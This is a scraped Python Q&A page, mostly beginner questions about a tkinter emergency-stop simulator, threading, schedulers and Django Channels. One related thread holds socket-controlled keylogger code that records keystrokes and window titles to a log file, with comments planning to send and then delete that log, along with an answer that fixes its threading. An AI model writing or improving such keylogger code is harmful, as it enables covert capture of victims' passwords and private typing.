Python global var in If statement doesn't work - python

First, I am an absolute beginner and sorry if I ask stupid questions.
I try to code a little program for school.
Imagine a motor with three emergency switches. A "Overheating", a "Circuit breaker" and a "manual"-switch witch all stop the motor.
In the program, the switches are simulated by tkinter-buttons in a little GUI.
If you press the button, it should output whatever case is simulated.
If the motor "stopped" but a button (or a new button) is pressed again, a message "Machine already stopped" should appear.
But that last part of the program does not work.
I've learned that vars in Python are local by default and so I tried to define the var "triggered" as global. But I've probably made some mistakes.
If I run the program, the first message (for example "Overheating!") appears but the second message "Machine already stopped" is missing when the button is pressed again.
Can you tell me where my fault is? I tried to google it but I don't know what is wrong. Sometimes it is difficult to read threads or tutorials because I am not native english-speaking.
And please tell me if there's any pseudocode in there.
As I said I am an absolute beginner but I try hard to learn it.
from tkinter import *
import sys, os
root = Tk()
root.title("Control Panel")
root.geometry("400x200")
app = Frame(root)
app.grid()
# Vars can be used later
overheat = False
# Stops motor if temperature is too high
circuitbreaker = False
# Stops if current flow is too high
manual = False
# Stops when switch is triggered manually
global triggered
triggered = False
# Returns True if one emergency unit has triggered
def Button_Overheat():
global triggered
if triggered == False:
triggered = True
print("Overheating!")
blockPrint()
else:
enablePrint()
print("Machine already stopped")
blockPrint
return
button_overheat = Button(app, text = "Overheat", command = Button_Overheat)
button_overheat.grid()
def Button_CircuitBreaker():
global triggered
if triggered == False:
print("Overload! Breaking Circuit...")
blockPrint()
else:
print("Machine already stopped")
blockPrint()
return
button_cicuitbreaker = Button(app, text = "Circuitbreaker", command = Button_CircuitBreaker)
button_cicuitbreaker.grid()
def Button_Manual():
global triggered
if triggered == False:
print("Machine was manually stopped")
blockPrint()
triggered = True
else:
print("Machine already stopped")
blockPrint()
return
button_manual = Button(app, text = "Turn off manually", command = Button_Manual)
button_manual.grid()
def blockPrint():
sys.stdout = open(os.devnull, 'w')
def enablePrint():
sys.stdout = sys.__stdout__
mainloop()

Please notice that other than in Overheating you never re enabled printing to allow it to print "Machine already stopped".
Just add enablePrint() to the other two options else clauses as well:
def Button_CircuitBreaker():
global triggered
if triggered == False:
print("Overload! Breaking Circuit...")
blockPrint()
else:
enablePrint()
print("Machine already stopped")
blockPrint()
return
def Button_Manual():
global triggered
if triggered == False:
print("Machine was manually stopped")
blockPrint()
triggered = True
else:
enablePrint()
print("Machine already stopped")
blockPrint()
return

Related

Python Socket function stopper

I am trying to make a keylogger with python sockets[educational purposes only of course]. But my question is: when I send from server to client the command activate keylogger, it will start the keylogger. But when I am finished with keylogging how can I send a 'stop keylogging' command to the slave to stop the keylogging. I was thinking of threading but really dont know what I could do with it. this is the "failing" code I made:
def mainkeylogg():
stopmess = "GO"
while stopmess == "GO":
tmpwnm = GetWindowText(GetForegroundWindow()) # get the window name .
Key = read_key();
read_key() # get key .
if len(Key) >= 2:
open("Log.txt", "a").write( # MAYBE CHANGE 'A' TO 'WB'
(f"[{tmpwnm}][{Key}]\n")) # (if user press special key) save the key with window name
else:
open("Log.txt", "a").write((f"{Key}"))
print("STOPPED THREAD")
t = threading.Thread(target=mainkeylogg)
t.start()
stopmess = (conn.recv(1024)).decode() # CAUSES THE WHILE LOOP TO CLOSE?? DOESN'T WORK
if stopmess == "STOP":
print("STOPPED")
message = "DONE"
conn.send(message.encode())
EDIT(working correct code for future people seeing this):
def mainkeylogg():
global dead
dead = False
while not dead:
tmpwnm = GetWindowText(GetForegroundWindow()) # get the window name .
Key = read_key();
read_key() # get key .
if len(Key) >= 2:
open("Log.txt", "a").write( # MAYBE CHANGE 'A' TO 'WB'
(f"[{tmpwnm}][{Key}]\n")) # (if user press special key) save the key with window name
else:
open("Log.txt", "a").write((f"{Key}"))
print("STOPPED THREAD")
t = threading.Thread(target=mainkeylogg)
t.start()
message = "STARTED KEYLOGGER"
conn.send(message.encode())
def stopkeylogger():
stopmess = (conn.recv(1024)).decode()
global dead
if stopmess == "STOP":
print("STOPPED")
dead = True
message = "STOPPED KEYLOGGER"
conn.send(message.encode())
#SEND LOG FILE
# DELETE LOG FILE
else:
print("DIDNT STOP")
message = "ERROR, DID NOT STOP KEYLOGGER"
conn.send(message.encode())
The biggest problem you have is here:
t = threading.Thread(target-mainkeylogg())
Because you added the parens, that's going to call the function immediately, in the main thread. That function won't ever return, so you don't even get to create the Thread object, much less flow on to the socket stuff. Replace that with
t = threading.Thread(target=mainkeylogg)
Pass the function, NOT the result of the function.
Beyond that, as long as you spell stopmes the same way every time (which you haven't here), the basic concept is fine. Your main thread will block waiting for word from the socket. Assuming the server actually sends "GO" as two letters without a newline, it should work.

python - authorise to continue on return press

I need to write a function in tkinter which will run until the user gives the correct password. In principle, it should be the same as:
check = input('type ok')
while True:
if check == 'ok'
break
else:
check = input('type ok')
print('You made it!')
...but with a few frustrating differences:
1. I'm not using the input() function, but rather getting text from a tkinter Text widget.
2. This check method is bound to a return press, which just generally makes things very inconvenient
The best I have, so far (in pseudo-code ish):
def authenticate():
root.bind('<Return>', check)
if auth == True:
return
else:
root.after(500, authenticate)
def check():
if pword == correct_pword:
auth = True
def signin():
auth = False
authenticate()
print('you're signed in!')
This way, authenticate only returns when the user presses enter and the password is correct. I thought that meant that the code in signin would only continue then, but this doesn't seem to be the case for whatever reason.
Is this the right approach? I don't understand why the code continues before the function has returned anything.
Like jasonharper said in his comment, you should not think the same way as for a command line program. Especially, you don't need a while loop since the mainloop of the GUI provides one already (the GUI waits for events like keyboard input, mouse click, ...).
So you just need to create the entry for the password and bind the Return key to a function that checks whether the password is right or not. Each time the user presses "Return", the function will be called and for instance destroy the login window if the password is right or clear the entry if it's wrong.
Corresponding code:
import tkinter as tk
def login(event):
pwd = entry.get()
if pwd == "ok":
print("You are logged in !")
root.destroy()
else:
entry.delete(0, "end")
root = tk.Tk()
entry = tk.Entry(root, show="*")
entry.pack()
entry.bind("<Key-Return>", login)
root.mainloop()

Terminating Django Channels function

I currently have a website, where when the user clicks a button, it sends a socket which then runs a web scraping program and returns the results to the user as it goes along.
For the sake of simplicity, lets say that upon receiving a socket, it gets routed to consumers.py which has the following code:
def ws_message(message):
while True:
print("5")
time.sleep(5)
However, I also want to add a "terminate" button to stop this function from running but am not sure how to go about doing so.
I've thought about doing the following:
cont = True
def ws_message(message):
text = message.content['text']
if text == 'terminate':
cont = False
if text == 'restart':
cont = True
while cont:
print("5")
time.sleep(5)
However at the same time this code doesn't seem particularly elegant, and so I was wondering if there is a simpler way to do so.

Run a logging filter in a separate thread - Python

I have a logging filter that checks for an environment variable to change and I want it to run (in the background) in a thread separate from the process that is setting the environment variable.
What I'm trying to do: every time logging.ERROR is called in my code, the user is alerted to the error and prompted on whether or not they want to continue. Separately the filter and the prompt work correctly however, when I put them together I have a problem. I need to have the filter running in the background so the code to prompt the user can run simultaneously (right now, the filter executes first and the prompt shows up after the while loop in the filter times out, at which point it is useless).
My filter code:
class ErrorFilter(logging.Filter):
def __init__(self,level):
self.level = level
thread = threading.Thread(target=self.filter,args=())
thread.daemon = True
thread.start()
def filter(self,record):
if record.levelno == self.level:
os.environ["ERROR_FLAG"] = "True"
timeout = time.time() + 60*1 #set the timeout to 1 minute
while True:
print "waiting..."
keep_going = os.environ.get("CONTINUE_FLAG")
#wait for user to respond
if keep_going == "False" or time.time() > timeout:
print "oops there's a problem, quitting."
break
if keep_going == "True":
print "Continuing"
break
os.environ["CONTINUE_FLAG"] = "None"
I have another short method that "listens" for ERROR_FLAG and then asks for input using:
def continueAsk(message, title="Warning! Continue?", yn=("Yes","No")):
yes = set(['yes','y', 'ye', '', 'canhaz'])
no = set(['no','n', 'lolzno'])
tryLimit = 0
while tryLimit < 100:
sys.stdout.write(message + ": ")
choice = raw_input().lower()
if choice in yes:
return True
elif choice in no:
return False
else:
tryLimit+=1
sys.stdout.write("Please respond with 'yes' or 'no'.")
EDIT
I've also tried using multiprocessing in my filter like this:
from multiprocessing import Process, Queue
def __init__(self,level):
self.level = level
queue = Queue()
p = Process(target=self.filter,args=("hi"))
p.start()
p.join()
I've tried setting up my filter so it runs in a different thread, but I've not had any luck so far (the filter still runs first, followed by the prompt) and I've never used multithreading before. I know this is not a traditional use of the logger, but I appreciate any input on this.
Looking at the subprocess and multiprocess documentation, I think one of those might work as well but am not sure.

Having trouble quitting sched.scheduler module?

I'm using Selenium Webdriver in my program in order to try and automate something. I am then parsing th resulting page, and checking for a specific element in the page. If the page doesn't have the specific element, then I use sched.scheduler to re-automate the task, by having the user click a button (in the Tkinter GUI). The button runs a function, which schedules a task for sched.scheduler, and has the task be sent to a function in which I created a new process from the multiprocessing module.
This is basically what it is:
import time
import sched
from multiprocessing import Process
#the function needs to run for the first time, then waits for user input if an error shows up
#if it's the second time around, the worker function runs the scheduler
global first_time_happening
first_time_happening = True
terminate = False
scheduler = sched.scheduler(time.time, time.sleep)
def worker():
#insert some working process here using selenium webdriver
print("Worker happened!")
global first_time_happening
if first_time_happening:
first_time_happening = False
elif not first_time_happening:
global relay_to_timer
relay_to_timer = scheduler.enter(5, 2, timer)
scheduler.run()
def process():
p = Process(target=worker)
#p.daemon = True
p.start()
def timer():
if not terminate:
global relay_to_process
relay_to_process = scheduler.enter(5, 2, process)
scheduler.run()
if terminate:
scheduler.cancel(relay_to_process)
scheduler.cancel(relay_to_timer)
def quit_button():
global terminate
terminate = True
if scheduler.empty:
print("The line is empty")
elif not scheduler.empty:
print("Something in the queue!")
while not scheduler.empty:
scheduler.cancel(relay_to_process)
scheduler.cancel(relay_to_timer)
worker()
#simulating where the GUI asks a question, person presses a button, and the button redirects them
#to function worker()
worker()
#simulating a user press the quit button
quit_button()
It keeps running even after I "hit" quit (or call the quit function in this case). I keep getting the queue is empty, but I'm not sure why it isn't working? Any help is appreciated, thanks!!
The scheduler keeps running even with an empty queue just in case somebody (presumably another thread) entered something again. I believe the way to make it end is to raise an exception (whether from the action or delay function) -- .run will propagate it and you can catch it.
To wit...
class AllDoneException(Exception): pass
def worker():
#insert some working process here using selenium webdriver
print("Worker happened!")
global first_time_happening
if first_time_happening:
first_time_happening = False
elif not first_time_happening:
global relay_to_timer
relay_to_timer = scheduler.enter(5, 2, timer)
try:
scheduler.run()
except AllDoneException:
pass
and in function timer
if terminate:
raise AllDoneException

Categories

Resources